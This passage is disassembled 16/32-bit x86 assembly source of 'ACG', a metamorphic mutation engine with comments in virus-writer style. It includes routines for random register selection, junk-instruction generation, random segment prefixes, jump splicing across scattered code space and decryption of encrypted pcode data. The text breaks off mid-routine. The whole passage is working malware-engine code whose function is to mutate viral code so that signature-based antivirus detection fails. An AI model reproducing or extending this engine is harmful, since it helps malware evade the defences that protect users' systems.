ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ACG.ASM]ÄÄÄ ;This is the metamorphic engine. As you can see, it's disassembled with IDA, ;I hope it doesn't look so ugly as it seems :-) ;When this routine is unpacked, "ACG_Start" label takes control, which does ;all the mutation stuff. See documentation in ACG compiler package for the ;meaning of some "pcodes" i have commented. ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Segment type: Regular seg000 segment byte public '' use16 assume cs:seg000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing ;EntryPoint ===> ACG_Start org 0000h D_GETSD dw ? D_SREG dw ? org 0040h D_STSD dd ? D_CODESEG dw ? D_CODEMAPSEG dw ? D_WPSEG dw ? D_CODESIZE dw ? D_CODEBASE dw ? D_RNDINIT dd ? D_CS_I dw ? D_CS_V dw ? D_SEL_DWORD dd ? org 0060h D_ERRCODE dw ? D_USED_BYTES dw ? org 0080h D_RET dd ? D_BYTE dw ? org 0100h off_0_100 dw offset ACG_End - offset ACG_Start ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;===> ENTRYPOINT <=== ACG_Start proc far mov word ptr cs:Old_SS_SP, sp ; save SS:SP mov word ptr cs:Old_SS_SP+2, ss push cs pop ss assume ss:seg000 mov sp, 4000h ; set top of stack push cs pop ds ; CS = DS assume ds:seg000 push fs push es push gs mov gs, D_WPSEG ; GS = CS + 0x0C00 mov fs, D_CODEMAPSEG ; FS = CS + 0x0800 mov es, D_CODESEG ; ES = CS + 0x0400 call _getRND_in_DX shr dx, 1 mov D_CS_V, dx call _getRND_in_DX mov D_CS_I, dx call ACG_Mutate ; * cmp D_ERRCODE, 1 jnz ACG_Exit shr D_CS_V, 2 ; codesize too small, try again with other config shr D_CS_I, 1 call ACG_Mutate ; * cmp D_ERRCODE, 1 jnz ACG_Exit shr D_CS_V, 2 shr D_CS_I, 1 call ACG_Mutate ; * cmp D_ERRCODE, 1 jnz ACG_Exit shr D_CS_V, 2 shr D_CS_I, 2 call ACG_Mutate ; * cmp D_ERRCODE, 1 jnz ACG_Exit mov D_CS_V, 1 mov D_CS_I, 1 call ACG_Mutate ; * cmp D_ERRCODE, 1 jnz ACG_Exit call ACG_Mutate ; * cmp D_ERRCODE, 1 jnz ACG_Exit call ACG_Mutate ; * ACG_Exit: pop gs pop es pop fs mov ds, cs:D_SREG assume ds:nothing lss sp, cs:Old_SS_SP ; restore SS:SP assume ss:nothing retf ACG_Start endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ _getRND_in_EDX dw offset getRND_in_EDX _getRND_OperandSize dw offset getRND_OperandSize _getRND_Target dw offset getRND_Target _getRND_in_DX dw offset getRND_in_DX _Get_ACGCODE_Byte dw offset Get_ACGCODE_Byte _get_ACGCODE_Word dw offset get_ACGCODE_Word _Check_for_SAVEFLAGS dw offset Check_for_SAVEFLAGS _Enough_Code_Space dw offset Enough_Code_Space _Allocate_Code_Space dw offset Allocate_Code_Space _Store_Instruction_Byte dw offset Store_Instruction_Byte _Copy_Instruction dw offset Copy_Instruction _Store_Instruction_Byte2 dw offset Store_Instruction_Byte2 _Generate_ModRM dw offset Generate_ModRM _Do_XCHG2 dw offset Do_XCHG2 _Do_Instruction2 dw offset Do_Instruction2 _Do_Instruction3 dw offset Do_Instruction3 _Do_Instruction5 dw offset Do_Instruction5 _getRegIndex dw offset getRegIndex _IsRegUsed dw offset IsRegUsed _setRegUsed dw offset setRegUsed _Choose_Register dw offset Choose_Register _Generate_4times_Garbage dw offset Generate_4times_Garbage _get_WPregister_BX_CL dw offset get_WPregister_BX_CL _convert_WorkPlace_Reg2 dw offset convert_WorkPlace_Reg2 _convert_WorkPlace_Reg dw offset convert_WorkPlace_Reg _Discard_Used_Register2 dw offset Discard_Used_Register2 _Discard_Used_Register3 dw offset Discard_Used_Register3 _get_offset_Variable dw offset get_offset_Variable _Add_Needed_Prefix_66 dw offset Add_Needed_Prefix_66 _Size_8_16 dw offset Size_8_16 _Check_Segment_Prefix dw offset Check_Segment_Prefix _Garbage_Check_Register dw offset Garbage_Check_Register _Garbage_Choose_Register dw offset Garbage_Choose_Register Old_SS_SP dd 0 saved_SP dw 0 saveIP dw 0 dw 0 ErrorCode dw 0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ CodeSizeTooSmall proc near mov ds:ErrorCode, 1 loc_0_202: mov ax, ds:ErrorCode mov ds:D_ERRCODE, ax ; return error code jmp short $+2 mov sp, ds:saved_SP ; restore SP jmp ACG_Exit2 ; exit CodeSizeTooSmall endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; EDX = pointer to StaticData (encrypted) ; ; OUTPUT: ; AL = byte from StaticData ; EDX = incremented pointer Get_Byte proc near pushad push edx mov ds, cs:D_SREG call dword ptr cs:D_GETSD ; call this mutated routine (in order to decrypt data) push cs pop ds assume ds:seg000 pop D_BYTE pop D_RET popad nop mov edx, D_RET mov al, byte ptr D_BYTE retn Get_Byte endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Segment_Selection db 0, 4, 5, 0 Segment_Table db 0, 4, 5, 0 db 4, 0, 5, 0 db 0, 5, 4, 0 db 5, 4, 0, 0 db 4, 5, 0, 0 db 5, 0, 4, 0 db 0, 5, 4, 0 ; repeated (to align?) db 5, 4, 0, 0 ; repeated (to align?) pACGCODE dd 0 Instruction_Offset dw 0 StaticData_ACGCODES_Pointer dd 0 StaticData_ACGCODES_Start dd 0 Procedure_WPindex dw 0 SaveFlags db 0 CSPREF dw 0 CSPREF_2 db 0 Dont_Extend_Immediate db 0 dword_0_26F dd 0 RandomWORD1 dw 0 Dont_Use_Exchange_For_MOV_operation db 0 Instruction db 60h dup( 0) Instruction_Size dw 0 Used_AX dw 0 Used_CX dw 0 Used_DX dw 0 Used_BX dw 0 Used_SP dw 0 Used_BP dw 0 Used_SI dw 0 Used_DI dw 0 Size_AX dw 0 Size_CX dw 0 Size_DX dw 0 Size_BX dw 0 Size_SP dw 0 Size_BP dw 0 Size_SI dw 0 Size_DI dw 0 Free_AX dw 0 Free_CX dw 0 Free_DX dw 0 Free_BX dw 0 Free_SP dw 0 Free_BP dw 0 Free_SI dw 0 Free_DI dw 0 Force_Memory_Instead_of_Register db 0 Force_Register_Instead_of_Memory db 0 Garbage_Level db 0 Operand_Ampersand dd 0 DecryptType0 db 0, 0, 0, 0, 0 DecryptType1 db 0, 0, 0, 0, 0 DecryptType2 db 0, 0, 0, 0, 0 DecryptType3 db 0, 0, 0, 0, 0 DecryptType4 db 0, 0, 0, 0, 0 DecryptType5 db 0, 0, 0, 0, 0 DecryptType6 db 0, 0, 0, 0, 0 DecryptType7 db 0, 0, 0, 0, 0 DecryptType8 db 0, 0, 0, 0, 0 DecryptType9 db 0, 0, 0, 0, 0 DecryptTypeA db 0, 0, 0, 0, 0 DecryptTypeB db 0, 0, 0, 0, 0 DecryptTypeEnd db 0 InitialDecryptState dd 0 byte_0_350 db 0 DecryptOperation db 0 byte_0_352 db 0 byte_0_353 db 0 DecryptOffset db 0 StaticData_ACGCODES_Pointer_Increment dd 0 Memory_Segment_Register db 0 Mutation_Level db 0 Return_Offset dw 0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; OUTPUT: ; EDX = 32-bit random number getRND_in_EDX proc near call _getRND_in_DX shl edx, 10h getRND_in_EDX endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; OUTPUT: ; DX = 16-bit random number getRND_in_DX proc near push ax mov ax, word ptr D_RNDINIT call getRND mov word ptr D_RNDINIT, ax push ax mov ax, word ptr D_RNDINIT+2 getRND_Again: call getRND mov word ptr D_RNDINIT+2, ax or ax, ax jz getRND_Again pop dx add dx, ax adc dx, 0 xor dx, ax pop ax retn getRND_in_DX endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ getRND proc near mov dx, 4Bh mul dx add ax, 4Bh adc dx, 0 sub ax, dx adc ax, 0FFFFh retn getRND endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; OUTPUT: ; AL = byte from ACGCODES ; ; CHANGES: ; pACGCODE Get_ACGCODE_Byte proc near push edx push es mov es, D_CODESEG push fs mov fs, D_CODEMAPSEG push gs mov gs, D_WPSEG mov edx, pACGCODE call Get_Byte mov pACGCODE, edx test byte ptr D_SEL_DWORD, 1 jnz loc_0_3C2 call Encrypt_Store_ACGCODE_Byte loc_0_3C2: pop gs pop fs pop es pop edx retn Get_ACGCODE_Byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; OUTPUT: ; AX = word from ACGCODES ; ; CHANGES: ; pACGCODE get_ACGCODE_Word proc near call _Get_ACGCODE_Byte mov ah, al call _Get_ACGCODE_Byte xchg ah, al retn get_ACGCODE_Word endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; OUTPUT: ; AL = byte from ACGCODES Look_ACGCODE_Byte proc near push edx mov edx, pACGCODE call Get_Byte ; get byte but dont modify ACGCODE pointer pop edx retn Look_ACGCODE_Byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Check_for_SAVEFLAGS proc near push ax call Look_ACGCODE_Byte cmp al, 20h ; is next ACGCODE = SAVEFLAGS? jnz loc_0_3F1 ; no or SaveFlags, 1 ; preserve cpu flags ; (dont asign a "1", because it may be already 0xFF) loc_0_3F1: pop ax retn Check_for_SAVEFLAGS endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; CX = number of bytes ; DX = IP offset ; ; OUTPUT: ; AL = 0 --> enough space Enough_Code_Space proc near push bx push di mov bx, dx add bx, cx jb Not_Enough_Space ; overflow cmp bx, D_CODESIZE ja Not_Enough_Space ; outside range of memory mov di, dx cmp cx, 4 jz loc_0_426 ; fast check for 4 bytes cmp cx, 8 jz loc_0_41E ; fast check for 8 bytes mov bx, cx loc_0_40F: cmp byte ptr fs:[bx+di-1], 0 jnz Not_Enough_Space dec bx jnz loc_0_40F ; check next byte loc_0_419: ; we have found free space mov al, 0 pop di pop bx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_41E: cmp dword ptr fs:[di+4], 0 jnz Not_Enough_Space loc_0_426: cmp dword ptr fs:[di], 0 jz loc_0_419 Not_Enough_Space: mov al, 1 pop di pop bx retn Enough_Code_Space endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; CX = number of bytes ; ; OUTPUT: ; DX = IP offset Allocate_Code_Space proc near push ax push di push cx mov di, 100h ; used to avoid endless loops loc_0_438: ; get random offset call _getRND_in_DX call _Enough_Code_Space cmp al, 0 jz loc_0_49F ; jump if found enough space dec di jnz loc_0_438 call _getRND_in_DX ; get random offset loc_0_44B: mov cx, D_CODESIZE sub cx, dx jnb loc_0_46A bsr cx, D_CODESIZE ; calculate number of bits of maximum offset jz CodeSizeTooSmall xchg ax, cx ; CX = number of bits - 1 mov cx, 10h sub cx, ax call _getRND_in_DX shr dx, cl ; get another random offset inside range jmp short loc_0_44B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_46A: mov di, dx loc_0_46C: mov al, 0 push es push fs pop es repne scasb ; search for a free space pop es jnz loc_0_495 dec di inc cx xchg di, dx ; DX = offset of that free space xchg ax, cx pop cx push cx ; CX = number of needed free bytes push ax ; save CX for a next search in case this hole is too small call _Enough_Code_Space cmp al, 0 pop cx xchg di, dx jz loc_0_4B8 ; jump if this hole is large enough mov al, 0 push es push fs pop es repe scasb ; skip this small hole pop es jnz loc_0_46C ; search next free hole loc_0_495: or dx, dx jz CodeSizeTooSmall xor dx, dx jmp short loc_0_44B ; try with offset zero ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_49F: mov di, dx mov cx, dx cmp cx, 40h jb loc_0_4AB mov cx, 40h ; search for 40h free bytes before DX offset loc_0_4AB: std mov al, 0 push es push fs pop es repe scasb ; search backwards for more zeros pop es cld inc di inc di loc_0_4B8: mov dx, di pop cx push cx loc_0_4BC: ; mark space as used mov byte ptr fs:[di], 1 inc di loop loc_0_4BC pop cx pop di pop ax retn Allocate_Code_Space endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Mark_Space_Used proc near push ax push di push cx mov di, dx jmp short loc_0_4B8 Mark_Space_Used endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Create_Jump_to_Next_Instruction proc near push di push dx push cx mov di, Instruction_Offset sub di, dx push dx add di, 70h mov cx, 2 ; CX = 2 = near jump cmp di, 0E0h jnb loc_0_4E7 mov cx, 1 ; CX = 1 = short jump loc_0_4E7: mov di, Instruction_Offset mov byte ptr es:[di], 0EBh ; short jump cmp cl, 1 jz loc_0_4FA mov byte ptr es:[di], 0E9h ; near jump jmp short $+2 loc_0_4FA: inc di add di, cx pop dx push cx mov cx, 4 call Mark_Space_Used ; mark these 4 bytes as used pop cx mov Instruction_Offset, dx ; set new instruction offset sub dx, di cmp cl, 1 jz loc_0_517 mov es:[di-2], dx ; fix near jump jmp short loc_0_51B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_517: ; fix short jump mov es:[di-1], dl loc_0_51B: pop cx pop dx pop di retn Create_Jump_to_Next_Instruction endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Store_Instruction_Byte proc near push bx mov bx, Instruction_Size mov Instruction[bx], al inc bx mov Instruction_Size, bx pop bx retn Store_Instruction_Byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Insert_Instruction_Prefix proc near push ax push bx mov bx, Instruction_Size loc_0_535: dec bx or bx, bx js loc_0_544 mov ah, Instruction[bx] mov (Instruction+1)[bx], ah ; move Instruction bytes 1 byte forward jmp short loc_0_535 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_544: ; insert prefix at beginning mov Instruction, al inc Instruction_Size pop bx pop ax retn Insert_Instruction_Prefix endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Copy_Instruction proc near pusha mov cx, Instruction_Size mov dx, Instruction_Offset add dx, 4 ; next 4 bytes are always reserved (for possible jump) call _Enough_Code_Space sub dx, 4 cmp al, 0 jz loc_0_572 add cx, 4 ; to reserve space for a jump call _Allocate_Code_Space ; DX = target offset to continue with instruction sub cx, 4 call Create_Jump_to_Next_Instruction loc_0_572: mov bx, dx xor si, si push si ; push a zero Next_Instruction_Byte: mov al, Instruction[si] mov es:[bx+si], al inc si cmp si, cx jb Next_Instruction_Byte add dx, 4 call Mark_Space_Used add bx, cx mov Instruction_Offset, bx pop Instruction_Size ; reset size to zero popa retn Copy_Instruction endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Store_Instruction_Byte2 proc near mov saveIP, si pop si inc si push si dec si push ax mov al, [si] ; get byte that is after CALL call _Store_Instruction_Byte pop ax mov si, saveIP retn Store_Instruction_Byte2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Insert_Needed_Prefix_Segment proc near push ax cmp byte ptr CSPREF, 0 jz @@2 ; no prefix needed cmp Instruction_Size, 0 jz @@1 ; jump if instruction size is zero mov al, Instruction ; check if already inserted cmp al, 26h ; ES jz @@2 cmp al, 2Eh ; CS jz @@2 cmp al, 36h ; SS jz @@2 cmp al, 3Eh ; DS jz @@2 cmp al, 64h ; FS jz @@2 cmp al, 65h ; GS jz @@2 @@1: ; jump if can use random prefix segment cmp byte ptr CSPREF, 1 ja @@3 mov al, 2Eh ; CS is needed call Insert_Instruction_Prefix @@2: pop ax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@3: push dx call _getRND_in_DX cmp dh, 30h ja @@5 ; do not insert any prefix segment mov al, 64h and dl, 1 add al, dl ; AL = 64,65 cmp dh, 20h ja @@4 mov al, 26h and dh, 18h add al, dh ; AL = 26,2E,36,3E @@4: call Insert_Instruction_Prefix @@5: pop dx jmp short @@2 Insert_Needed_Prefix_Segment endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; SI = Reg field ; EDI = indicated displacement Generate_ModRM proc near push dx push ax test edi, 0FFFF0000h ; memory access? jnz loc_0_617 mov ax, di or ax, 0C0h ; mod=3 jmp short loc_0_641 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_617: call Insert_Needed_Prefix_Segment ror edi, 10h mov dx, di rol edi, 10h mov al, dl cmp dl, 6 ; (mod=0) && (r_m=6) jz loc_0_641 ; jump if no memory index or di, di jz loc_0_641 ; use mod=0 push di add di, 80h cmp di, 100h pop di jnb loc_0_63F ; jump if signed offset is more than 7 bits or al, 40h ; if (-128..+127) then use mod=1 jmp short loc_0_641 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_63F: ; use mod=2 or al, 80h loc_0_641: push si and si, 7 shl si, 3 or ax, si ; set "Reg" field pop si call _Store_Instruction_Byte ; store ModRM byte mov ah, al and ah, 7 shr al, 6 cmp al, 2 jz loc_0_670 ; mod=2 --> store word cmp al, 0 jnz loc_0_664 cmp ah, 6 jz loc_0_670 ; (mod=0)&&(r_m=6) --> store word loc_0_664: cmp al, 1 jnz loc_0_67E ; mod=3 --> store nothing mov ax, di ; AX = 8-bit sign extended offset call _Store_Instruction_Byte ; mod=1 --> store byte jmp short loc_0_67E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_670: mov ax, di call _Store_Instruction_Byte ; store low byte of 16-bit offset mov ax, di mov al, ah call _Store_Instruction_Byte ; store high byte of 16-bit offset loc_0_67E: pop ax pop dx retn Generate_ModRM endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Add_Needed_Prefix_66 proc near cmp cl, 4 jnz locret_0_68B call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 66h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_0_68B: retn Add_Needed_Prefix_66 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Size_8_16 proc near cmp cl, 2 ; if 16/32 bits, add 1 sbb al, -1 retn Size_8_16 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Create_Jump proc near push ax push dx push si mov si, Instruction_Offset add si, D_CODEBASE ; SI = origin offset sub si, dx ; DX = target offset add si, 70h cmp si, 0E0h ja loc_0_6EC ; do near jump mov si, dx ; a short jump will be used mov dx, Instruction_Offset add dx, 4 push cx mov cx, 2 loc_0_6B5: call _Enough_Code_Space pop cx mov dx, si cmp al, 0 jnz loc_0_6EC cmp bh, 10h jnz loc_0_6CC ; do conditional short jump call _Store_Instruction_Byte2 ; create unconditional short jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0EBh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_0_6D4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_6CC: mov al, 70h add al, bh ; AL = 70..7F call _Store_Instruction_Byte ; create conditional short jump loc_0_6D4: ; reserve byte call _Store_Instruction_Byte call _Copy_Instruction mov si, Instruction_Offset sub dx, si sub dx, D_CODEBASE mov es:[si-1], dl ; fix short jump jmp short loc_0_740 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_6EC: cmp bh, 10h jnz loc_0_6F8 ; do conditional near jump call _Store_Instruction_Byte2 ; create unconditional near jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0E9h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_0_726 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_6F8: push dx call _getRND_in_DX cmp dh, 40h pop dx jnb loc_0_719 ; normal method mov al, 70h add al, bh xor al, 1 ; inverse conditional jump call _Store_Instruction_Byte ; create inversion conditional short jump call _Store_Instruction_Byte2 ; make this inverse jump to skip the real jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 3 ; 